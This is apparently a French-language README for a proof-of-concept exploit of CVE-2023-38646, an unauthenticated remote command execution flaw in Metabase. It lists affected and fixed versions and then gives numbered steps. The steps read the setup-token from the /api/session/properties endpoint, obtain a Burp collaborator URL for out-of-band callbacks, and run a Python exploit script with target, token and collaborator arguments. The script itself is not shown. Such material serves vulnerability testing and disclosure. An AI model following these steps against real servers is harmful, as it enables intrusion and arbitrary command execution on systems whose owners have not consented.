CVE-2023-38646 - RCE sans authentification Metabase

Metabase open source avant 0.46.6.1 et Metabase Enterprise avant 1.46.6.1 permettent aux attaquants d'exécuter des commandes arbitraires sur le serveur, au niveau de privilège du serveur. L'authentification n'est pas requise pour l'exploitation. Les autres versions corrigées sont 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2, et 1.43.7.2.

Étapes du PoC

1. Accédez à http://vulnerablehost.com/api/session/properties
2. Identifiez « setup-token »
3. Obtenez une URL de collaborateur (testé avec BurpSuite)
4. Exécutez le script PoC avec :
   • -u - URL cible
   • -t - Jeton de configuration
   • -c - URL de collaborateur
   • python3 CVE-2023-38646.py -u <target> -t <setup-token> -c <collaborator-url>
5. Vérifiez votre collaborateur pour toute réponse

Références